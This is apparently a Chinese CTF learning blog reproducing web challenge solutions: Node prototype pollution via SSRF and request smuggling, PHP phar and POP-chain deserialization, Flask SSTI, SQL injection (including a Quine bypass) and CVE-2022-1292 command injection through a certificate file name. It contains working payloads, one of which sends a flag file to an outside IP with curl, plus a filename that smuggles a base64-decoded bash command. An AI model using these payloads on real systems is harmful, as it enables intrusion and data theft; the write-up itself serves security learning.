我很喜欢这周的感觉,前两道题对着 wp 简略复现了一下,由于以前都是自己学习,对一些稍微多、稍微难的题都会马上避开,笨小孩逃避太久了,有些事逃不掉,总得面对,开始往往很难,多花点时间,总能过去,所以课余时间全都来刷题目,以前的长链子、python、go、网络交互等都没有要求自己看,底子差就得努努力,这周虽然花了很多时间看懂题目和师傅们的脚本,但是在复现完后的畅快总会让我很兴奋 XD。
[西湖论剑 2022]real_ez_node
“用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染”
“
__proto__
被过滤,使用 constructor.prototype 绕过”
“通过访问 /curl 利用 HTTP 走私向 /copy 发送 POST 请求,然后污染原型链实现代码执行”
payload 脚本
import urllib.parse
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl 47.113.221.205:12345/`cat /flag.txt`')"}
'''.replace("\n","\r\n")
def encode(data):
tmp = u""
for i in data:
tmp += chr(0x0100+ord(i))
return tmp
payload = encode(payload)
print(urllib.parse.quote(payload))
#%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C4%8D%C4%8A%C5%90%C5%8F%C5%93%C5%94%C4%A0%C4%AF%C5%A3%C5%AF%C5%B0%C5%B9%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C5%88%C5%AF%C5%B3%C5%B4%C4%BA%C4%A0%C4%B1%C4%B2%C4%B7%C4%AE%C4%B0%C4%AE%C4%B0%C4%AE%C4%B1%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%94%C5%B9%C5%B0%C5%A5%C4%BA%C4%A0%C5%A1%C5%B0%C5%B0%C5%AC%C5%A9%C5%A3%C5%A1%C5%B4%C5%A9%C5%AF%C5%AE%C4%AF%C5%AA%C5%B3%C5%AF%C5%AE%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%AE%C5%A5%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C4%BA%C4%A0%C5%A3%C5%AC%C5%AF%C5%B3%C5%A5%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%8C%C5%A5%C5%AE%C5%A7%C5%B4%C5%A8%C4%BA%C4%A0%C4%B1%C4%B5%C4%B5%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2%C5%A3%C5%AF%C5%AE%C5%B3%C5%B4%C5%B2%C5%B5%C5%A3%C5%B4%C5%AF%C5%B2%C4%AE%C5%B0%C5%B2%C5%AF%C5%B4%C5%AF%C5%B4%C5%B9%C5%B0%C5%A5%C4%AE%C5%AF%C5%B5%C5%B4%C5%B0%C5%B5%C5%B4%C5%86%C5%B5%C5%AE%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C5%8E%C5%A1%C5%AD%C5%A5%C4%A2%C4%BA%C4%A2%C5%9F%C5%B4%C5%AD%C5%B0%C4%B1%C4%BB%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC%C4%AE%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%AE%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5%C4%AE%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5%C4%A8%C4%A7%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%A7%C4%A9%C4%AE%C5%A5%C5%B8%C5%A5%C5%A3%C4%A8%C4%A7%C5%A3%C5%B5%C5%B2%C5%AC%C4%A0%C4%B4%C4%B7%C4%AE%C4%B1%C4%B1%C4%B3%C4%AE%C4%B2%C4%B2%C4%B1%C4%AE%C4%B2%C4%B0%C4%B5%C4%BA%C4%B1%C4%B2%C4%B3%C4%B4%C4%B5%C4%AF%C5%A0%C5%A3%C5%A1%C5%B4%C4%A0%C4%AF%C5%A6%C5%AC%C5%A1%C5%A7%C4%AE%C5%B4%C5%B8%C5%B4%C5%A0%C4%A7%C4%A9%C4%A2%C5%BD%C4%8D%C4%8A
脚本分析:
打到服务器端口,监听
nc -lvvp 8989
vps 没通
复现参考文章:
https://blog.csdn.net/jyttttttt/article/details/128875462
https://blog.csdn.net/qq_61768489/article/details/128893726
https://ctf.njupt.edu.cn/archives/822
https://xz.aliyun.com/t/12128#toc-4
[CISCN 2019华北Day1]Web1
注册了个 admin/123 可以直接登
一般不是关于登录框的洞
可以上传文件 gif / jpg / png
上传后可以对已上传文件进行 下载 / 删除
操作
分别对 上传 / 下载 / 删除
抓包,在下载 /download.php 的 filename 参数,可以利用读取任意文件
把主要文件源码读出来,这里直接跑出来就行
../../index.php
../../download.php
../../upload.php
../../delete.php
../../register.php
../../login.php
../../class.php
前面的文件都比较正常没什么切入点,而且考点不是登录,在 class.php 可以看到这是一个简单的文件管理系统
有三个类:
User 类:用户登录、注册、验证功能
FileList 类:页面 UI 实现的文件列表,还有文件的下载和删除功能
File 类:文件的基本操作,打开、关闭、获取文件名、获取文件大小、删除
在 file 类可以看到 close 方法内返回了一个敏感函数
如果要调用 file_get_contents() 函数,可以利用在 __destrust() 触发的 $this->db->close();
$this->db = new FileList() 就能调用 file_get_contents() 函数
public function close() {
return file_get_contents($this->filename);
}
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
本地运行或访问获得 phar 文件,如果报错,把 php.ini 的 phar.readonly 改为 Off 且前面分号去掉
生成的 phar,改后缀名上传,然后删除的时候抓包,改参读取,得到 flag
复现参考文章:
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://www.cnblogs.com/kevinbruce656/p/11316070.html
https://xz.aliyun.com/t/2715
[NISACTF 2022]popchains
先看大体三个类,对应看含有的方法
有 __wakeup() 有 unserialize
找控制点 Try_Work_Hard 内有个 __invoke() 方法调用了 append() 方法可以把 $var 传给 $value ,执行 include() 文件包含
触发 __invoke() 的情况是以调用函数的方式调用一个对象时,方法会被自动调用,我们可以看到 Make_a_Change 中的 __get() 方法内含有一个 return $function() ,如果 $effort 存的是我们 new 的对象,就会调用 __invoke()
接着就是如何触发 __get(),可以调用不存在的属性,系统会自动触发,可以看到 Road_is_Long 里的 return $this->string->page;
返回 $a->string->page,也就是 $a 对象中的 string 属性的值的 page 属性的值
所以 string 可以赋 Make_a_Change 对象,最后就是 __toString() 的触发
__toString() 的触发我们 new 一个对象后使用即可
Road_is_Long---__wakeup()
Road_is_Long---__wakeup()
Road_is_Long---__toString()
Make_a_Change---__get()
Try_Work_Hard---__invoke()
Try_Work_Hard---append()
最后对应构造调试代码 pop 链子
<?php
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
echo "Road_is_Long---__construct". "<br/>";
echo '<pre>' . var_dump($this->page) . '</pre>'. "<br/>". "<br/>";
}
public function __toString(){
echo "Road_is_Long---__toString". "<br/>";
echo '<pre>' . var_dump($this->string->page) . '</pre>'. "<br/>". "<br/>";
return $this->string->page;
}
public function __wakeup(){
echo "Road_is_Long---__wakeup". "<br/>";
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
echo '<pre>' . var_dump($this->page) . '</pre>'. "<br/>". "<br/>";
}
}
}
class Try_Work_Hard{
protected $var = "/flag";
public function append($value){
echo "Try_Work_Hard---include". "<br/>";
include($value);
echo '<pre>' . var_dump($value) . '</pre>'. "<br/>". "<br/>";
}
public function __invoke(){
echo "Try_Work_Hard---__invoke---append". "<br/>";
$this->append($this->var);
echo '<pre>' . var_dump($this->append($this->var)) . '</pre>'. "<br/>". "<br/>";
}
}
class Make_a_Change{
public $effort;
public function __construct(){
echo "Make_a_Change---__construct". "<br/>";
$this->effort = array();
echo '<pre>' . var_dump($this->effort) . '</pre>'. "<br/>". "<br/>";
}
public function __get($key){
echo "Make_a_Change---__get". "<br/>";
$function = $this->effort;
echo '<pre>' . var_dump($function) . '</pre>'. "<br/>". "<br/>";
return $function();
}
}
$a_page=new Road_is_Long();
$b_string=new Road_is_Long();
$c_effort=new Make_a_Change();
$d_include=new Try_Work_Hard();
$a_page -> page=$b_string;
$b_string -> string=$c_effort;
$c_effort -> effort=$d_include;
/**********************Try to See flag.php*****************************/
echo urlencode(serialize($a_page)). "<br/>";
echo "<br/>";
简化
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = "/flag";
}
class Make_a_Change{
public $effort;
}
$a_page=new Road_is_Long();
$b_string=new Road_is_Long();
$c_effort=new Make_a_Change();
$d_include=new Try_Work_Hard();
$a_page -> page=$b_string;
$b_string -> string=$c_effort;
$c_effort -> effort=$d_include;
echo urlencode(serialize($a_page));
payload
?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
[NSSCTF 2022 Spring Recruit]babyphp
四个 if
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
preg_match 可以使用数组绕过
if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
md5 强比较,也可以用数组
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
md5 弱比较,可以用 md5 值为 0e 开头的字符串比较,当 md5 值的前缀为 0e 时,PHP 中的类型转换会将它们视为科学计数法表示的数字,并将字符串转换为数字进行比较。科学计数法中的 e 表示指数,0 的任何次幂都为 0。
payload:
a[]=1&&b1[]=1&&b2[]=2&&c1=QNKCDZO&&c2=s878926199a
[NCTF 2018]flask真香
关于 flask 的考点我见过的有 SSTI、CSRF、路由配置、SQL、文件上传
这里如果不看标签分析,简单的看一下页面,demo 2-8 都是不存在的页面,其余的链接都会跳转出去。
有报错看报错,没有看到暴露的参数
在URL测注入点
{{7*'7'}}
渲染引擎:Jinja2
有过滤,被过滤后发送请求不会在URL后显示
class
config
getattr
import
builtins
os
open
eval
func_globals
{{()['__cl''ass__'].__bases__[0]['__subcl''asses__']()}}
URL/[<class '_bz2.BZ2Decompressor'>, <class 'iterator'>, <class '_ctypes.DictRemover'>, <class '_frozen_importlib._installed_safely'>, <class 'sre_parse.Tokenizer'>, <class 'str'>
整理搜索 os 模块前一个 warnings.catch_warnings 模块
object.subclasses()[59].init.globals.builtins 下有 eval,import 等的全局函数
这次随机的下标为 357
payload:
()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[357].__init__.__globals__['__bui''ltins__']['ev''al']("__imp''ort__("o''s").po""pen('whoami').read()")
[SWPUCTF 2021 新生赛]sql
源码,参数是 wllm
?wllm=1
Your Login name:xxx
Your Password:yyy
709 是被过滤的
=
and
left
right
substr
handler
updatexml
extractvalue
into
outfile
load_file
reverse
1'order/**/by/**/3/**/%23
Your Login name:xxx
Your Password:yyy
1'order/**/by/**/4/**/%23
Unknown column '4' in 'order clause'
三个字段
-1'union/**/select/**/1,2,3/**/%23
Your Login name:2
Your Password:3
两个回显点
-1'union/**/select/**/1,database(),version()/**/%23
Your Login name:test_db
Your Password:10.2.29-MariaDB-log
查库,走流程,简单的习惯直接 database()
-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/%23
Your Login name:2
Your Password:LTLT_flag,users
查表
-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/%23
Your Login name:2
Your Password:id,flag,id,username,
查列
-1'union/**/select/**/1,2,flag/**/from/**/LTLT_flag/**/%23
Your Login name:2
Your Password:NSSCTF{2922bac4-d670
回显截断,没读完,只读了 20 个字符
截取字符串常用函数 mid(), substr(), left(), right(), substring(), substring_index()
mid(), substr() 等价 substring()
对比过滤的字符,就剩 mid 可用了
-1'union/**/select/**/1,2,mid(flag,21,20)/**/from/**/LTLT_flag/**/%23
Your Login name:2
Your Password:-4399-8ab0-69b3570f0
-1'union/**/select/**/1,2,mid(flag,41,20)/**/from/**/LTLT_flag/**/%23
Your Login name:2
Your Password:987}
[第五空间 2021]yet_another_mysql_injection
源码
<!-- /?source -->
过滤
regexp
between
in
flag
=
>
<
and
|
right
left
reverse
update
extractvalue
substr
floor
&
;
$
0x
sleep
这里有两个主要的 if
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
如果 $password 与查询到的结果集匹配,就过第一个 if,否则回显 something wrong
盲注模糊搜索查
1'or/**/password/**/like/**/'1%'#
没学过python,如果是比赛可以直接套用脚本跑,自己学习的话笨点,手测到 e 的时候回显 wrong password
用盲注脚本跑可以跑出来密码,登录就有 flag
但是这里考的知识点是 SQL-Quine,而且不会 python,现学一下 Quine
Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术
Quine SQL 它要求查询能够以自身代码为输入,输出其自身代码
Quine SQL通常由两部分组成:查询部分和输出部分。查询部分负责从数据库中检索出自身代码,而输出部分则负责输出该代码。
Quine 需要用到 replace 函数,没被过滤
REPLACE ( string_expression , string_pattern , string_replacement )
https://learn.microsoft.com/en-us/sql/t-sql/functions/replace-transact-sql?view=sql-server-ver16
string_expression
Is the string expression to be searched. string_expression can be of a character or binary data type.
string_pattern
Is the substring to be found. string_pattern can be of a character or binary data type. string_pattern must not exceed the maximum number of bytes that fits on a page. If string_pattern is an empty string (''), string_expression is returned unchanged.
string_replacement
Is the replacement string. string_replacement can be of a character or binary data type.
主要还是看了一眼文档写的三个参数都支持字符或二进制数据类型
char(46)
对应 .
char(39)
对应 '
char(34)
对应 "
跟着试试
我习惯用 Navicat 测
mysql>
mysql> select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+
1 row in set (0.04 sec)
.
被替换为 .
,最后返回 .
mysql>
mysql> select replace(".",char(46),'replace(".",char(46),".")');
+---------------------------------------------------+
| replace(".",char(46),'replace(".",char(46),".")') |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
1 row in set (0.04 sec)
.
被检测到,被替换为 replace(".",char(46),".")
,最后返回 replace(".",char(46),".")
mysql>
mysql> select replace('replace(".",char(46),".")',char(46),".");
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),".") |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
1 row in set (0.04 sec)
在 replace(".",char(46),".")
里的 .
被检测到,替换为 .
,最后返回 replace(".",char(46),".")
mysql>
mysql> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.04 sec)
mysql>
在 replace(".",char(46),".")
里的 .
被检测到,替换为 replace(".",char(46),".")
,最后返回 replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")")
手动替换后就知道是为什么了,现在差标点不一致,试过就知道全引号会报错,输出是双引号,输入是单引号,考虑把双改为单,但是不能全改,需要改的双引号位置有点刁钻,为了不改变不需要改变的内容,再替换一次即可
双替换单
replace('"."',char(34),char(39))
mysql> select replace('"."',char(34),char(39));
+----------------------------------+
| replace('"."',char(34),char(39)) |
+----------------------------------+
| '.' |
+----------------------------------+
1 row in set (0.04 sec)
再套一层替换为 str
replace(replace('"."',char(34),char(39)),char(46),"str")
mysql> select replace(replace('"."',char(34),char(39)),char(46),"str");
+----------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),"str") |
+----------------------------------------------------------+
| 'str' |
+----------------------------------------------------------+
1 row in set (0.04 sec)
整理试试
外单引号
replace(replace('.',char(34),char(39)),char(46),'.')
内双引号
replace(replace(".",char(34),char(39)),char(46),".")
结合
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
结果:
mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)
同理,套入这题:
源码语句
$sql="SELECT password FROM users WHERE username='admin' and pass word='$pass word';";
构造一个注入语句,这里是外为单引号
1'union select replace(replace('str',char(34),char(39)),char(46),'str')#
构造一个替换语句,这里是内为双引号
1"union select replace(replace(".",char(34),char(39)),char(46),".")#
放进去合起来
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
换空格(最后 payload)
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
参考文章:https://www.cnblogs.com/zhengna/p/15917521.html
[CISCN 2022 初赛]online_crt
这题当时也没头绪,看了这题的标签 CVE-2022-1292
可操作 /etc/ssl/certs/ 目录的攻击者可注入恶意命令,以 c_rehash 脚本的权限执行任意命令。
CVE-2022-1292 先知社区分析:https://xz.aliyun.com/t/11703
先看看网站,跟名字一样,是在线 crt 证书生成
四个路由
/
/getcrt
/createlink
/proxy
proxy 路由的参数 uri 是可利用 CRLF 注入漏洞进行控制的
回车符(CR,ASCII 13,\r,%0d)
换行符(LF,ASCII 10,\n,%0a)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
第一个直接将路径中的/替换为%2f
GO 脚本这里可以传入两个参数,满足路径不为空和 HOST 为 admin
即可过,即用 CRLF 篡改为 Host: admin
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
c.Request.URL.RawPath
表示请求 URL 的未经解码的路径部分,其中包含参数,但不包含主机名和方案。如果请求 URL 中不包含路径,则 RawPath
为空字符串。
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
c_rehash
- hash_dir
sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
# 根据 CVE-2022-1292 先知社区分析,问题出在这里, 将该目录所有文件名读入到flist数组, 但没有处理, 导致文件名命令注入的可能
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_cert_old($fname) if ($cert);
link_hash_crl($fname) if ($crl);
link_hash_crl_old($fname) if ($crl);
}
}
将该目录所有文件名读入到 flist 数组,但没有处理,这里后续还有 perl 的其他解析
最后传入使用 ` ` 反引号包裹的命令即可
先 生成一个证书
static/crt/324dda55-5b24-4309-b5e5-f20ba569e01d.crt
得到证书名,构造 CRLF 注入语句进行篡改
/admin/rename?oldname=324dda55-5b24-4309-b5e5-f20ba569e01d.crt&newname=`echo Y2F0IC8qIA==|base64 --decode|bash>x.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
拼接后报文变为:
GET /admin/rename?oldname=324dda55-5b24-4309-b5e5-f20ba569e01d.crt&newname=`echo Y2F0IC8qIA==|base64 --decode|bash>x.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
先对 admin/ 的 / 和命令里的空格进行URL 编码,然后再整体编码一次
/admin%252frename%3Foldname%3D324dda55-5b24-4309-b5e5-f20ba569e01d.crt%26newname%3D%60echo%20Y2F0IC8qIA%3D%3D%7Cbase64%20--decode%7Cbash%3Ex.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close%0D%0A
在 /proxy 处触发,普通命令没有回显的地方,写入文件
命令
cat /*
Bash 脚本执行
echo Y2F0IC8qIA==|base64 --decode|bash>flag.txt
访问 /createlink 路由调用 c_rehash 触发命令执行
/static/crt/flag.txt
参考文章:
https://www.cnblogs.com/yesec/p/16345525.html
https://xz.aliyun.com/t/11703
https://www.freebuf.com/column/202762.html
URL 脚本替换出处:
https://blog.csdn.net/qq_62078839/article/details/125144431
import urllib.parse
uri = '''/admin%2frename?oldname=7ec49aae-99df-427f-8f73-fc12504b0ff6.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)